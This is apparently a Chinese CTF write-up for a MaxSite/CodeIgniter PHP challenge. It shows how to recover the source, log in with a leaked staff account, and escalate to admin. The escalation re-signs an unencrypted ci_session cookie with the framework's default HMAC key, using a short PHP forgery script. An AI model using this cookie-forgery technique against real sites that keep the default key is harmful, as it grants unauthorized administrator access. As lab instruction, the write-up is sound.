image-20260407155748105

进来是一个minsite,中间又一个url

1
http://114.66.24.221:40835/require-maxsite/Y3RmL3VwZGF0ZS1rZXktcmVxdWlyZS1tYXhzaXRlLnBocA==

点击可以得到,key和一个路由

1
2
Key: edge_key_release_2026
Use Key to DownLoad! /update-maxsite/master.zip

访问***/update-maxsite/master.zip?edge_key_release_2026***可以得到源码,是一个php的maxsite框架

分析源码,在***application/ctf-assets/user_account.txt***文件中可以看到一个账号

image-20260407160320305

这下面有一个Staff login,用上面的账号登录

image-20260407193141692

登录进去后是一个user权限用户,我们要提权到admin才能拿到flag

image-20260407203240579

找一下flag的获取条件,找找包含flag关键字的文件

image-20260407210343729

最终在***application/maxsite/mso_config.php***找到一个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function ctf_admin_content_append_flag($content = '')                                                                    
{
global $MSO;
if (!is_login()) return $content;
$segment2 = isset($MSO->data['uri_segment'][2]) ? $MSO->data['uri_segment'][2] : '';
if ($segment2 and $segment2 !== 'home') return $content;
$dashboard = '<section class="mar20-b pad15" '
. 'style="border: 1px solid #d8dde7; border-radius: 10px; background: #ffffff;">'
. '<h1 class="mar0-b">Dashboard</h1>'
. '<p class="mar10-t mar0-b">This challenge instance keeps the admin landing page minimal and fully in English.</p>'
. '<p class="mar10-t mar0-b">Authenticated users can interact with backend endpoints from this session.</p>'
. '</section>';
if (
!isset($MSO->data['session']['users_groups_id'])
or (string) $MSO->data['session']['users_groups_id'] !== '1'
) {
return $dashboard;
}

$flag = getenv('GZCTF_FLAG');
if (!$flag) $flag = 'flag{missing_gzctf_flag}';

$flag_block = '<section id="gzctf-admin-flag" class="mar20-b pad15" '
. 'style="border: 1px solid #d8dde7; border-radius: 10px; background: #f7f9fc;">'
. '<div class="t-gray600 t90 mar5-b">Deployment flag</div>'
. '<code id="gzctf-flag-value" style="display: block; word-break: break-all;">'
. htmlspecialchars($flag, ENT_QUOTES, 'UTF-8')
. '</code>'
. '</section>';

return $dashboard . $flag_block;
}

有这样一段,可以看到如果session的users_groups_id等于1,那返回的html中就包含flag了,那现在我们主要就是要找到session的处理方式,来试着伪造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (
!isset($MSO->data['session']['users_groups_id'])
or (string) $MSO->data['session']['users_groups_id'] !== '1'
) {
return $dashboard;
}

$flag = getenv('GZCTF_FLAG');
if (!$flag) $flag = 'flag{missing_gzctf_flag}';

$flag_block = '<section id="gzctf-admin-flag" class="mar20-b pad15" '
. 'style="border: 1px solid #d8dde7; border-radius: 10px; background: #f7f9fc;">'
. '<div class="t-gray600 t90 mar5-b">Deployment flag</div>'
. '<code id="gzctf-flag-value" style="display: block; word-break: break-all;">'
. htmlspecialchars($flag, ENT_QUOTES, 'UTF-8')
. '</code>'
. '</section>';

return $dashboard . $flag_block;

system/libraries/Session.php中定义了cookie的名字,还可以知道session并不加密

1
2
var $sess_cookie_name = 'ci_session';
var $sess_encrypt_cookie = FALSE;

还有一个_set_cookie函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function _set_cookie($cookie_data = NULL)
{
if (is_null($cookie_data))
{
$cookie_data = $this->userdata;
}

// Serialize the userdata for the cookie
$cookie_data = $this->_serialize($cookie_data);

if ($this->sess_encrypt_cookie == TRUE)
{
$cookie_data = $this->CI->encrypt->encode($cookie_data);
}

$cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key);

$expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time();

// Set the cookie
setcookie(
$this->sess_cookie_name,
$cookie_data,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}

有这样一段处理,可以知道cookie的处理方式,是用sha1加密算法给用户的数据生成了一个加密哈希

1
$cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key);

至于加密密钥,可以在***application/config/config.php***看到这一段代码,这是maxsite框架默认密钥

1
$config['encryption_key'] = 'encryption key';

session的处理很简单,我们只需要把users_groups_id改成1,然后重新生成一个session就行

把登录的请求包给抓了,因为session的名字叫ci_session,把值复制下来

image-20260407211240878

写一个伪造脚本,$cookie__data的值不包含连接在后面的加密哈希,把输出的值替换掉ci_session的值即可

1
2
3
4
5
6
7
8
<?php

$cookie_data="a%3A19%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22ed74adb99c388f5accfe3d9c05d36cb3%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A10%3A%2210.42.16.1%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A101%3A%22Mozilla%2F5.0%20%28X11%3B%20Linux%20x86_64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F144.0.0.0%20Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1775548402%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A10%3A%22userlogged%22%3Bs%3A1%3A%221%22%3Bs%3A18%3A%22last_activity_prev%22%3Bi%3A1775548399%3Bs%3A7%3A%22comuser%22%3Bi%3A0%3Bs%3A8%3A%22users_id%22%3Bs%3A1%3A%222%22%3Bs%3A9%3A%22users_nik%22%3Bs%3A4%3A%22user%22%3Bs%3A11%3A%22users_login%22%3Bs%3A92%3A%22MSO-ZzuUwYchwpqB8yCTVADgzNV7D%2BWM1C2wqiviWYMqseO5OgbrY3z%2BPuWG4zyUqi4lnX6LO2Fxj3g9iDvsOMHTLA%3D%3D%22%3Bs%3A14%3A%22users_password%22%3Bs%3A132%3A%22MSO-X8itFXaubQxspjc48KORwu9BdXxrY6C0fzApNuLQ1GGr%2BJlCMHahU7y15P%2BOGjFd4Da984YdXc%2Fhi%2FvjnbxbuiTiJEq4OVrKtPEKC%2FVU5CojDtPH1RqKVZ2CykeaxmNC%22%3Bs%3A15%3A%22users_groups_id%22%3Bs%3A1%3A%222%22%3Bs%3A16%3A%22users_last_visit%22%3Bs%3A19%3A%222026-04-07%2007%3A49%3A16%22%3Bs%3A17%3A%22users_show_smiles%22%3Bs%3A1%3A%221%22%3Bs%3A15%3A%22users_time_zone%22%3Bs%3A4%3A%227200%22%3Bs%3A14%3A%22users_language%22%3Bs%3A2%3A%22ru%22%3Bs%3A16%3A%22users_avatar_url%22%3Bs%3A0%3A%22%22%3Bs%3A11%3A%22users_email%22%3Bs%3A18%3A%22user%40minsite.local%22%3B%7D";

$cookie_data=str_replace('sers_groups_id%22%3Bs%3A1%3A%222','sers_groups_id%22%3Bs%3A1%3A%221',$cookie_data);

$cookie_data.=hash_hmac('sha1',urldecode($cookie_data),'encryption key');
echo $cookie_data;

成功登录得到flag

image-20260407211642013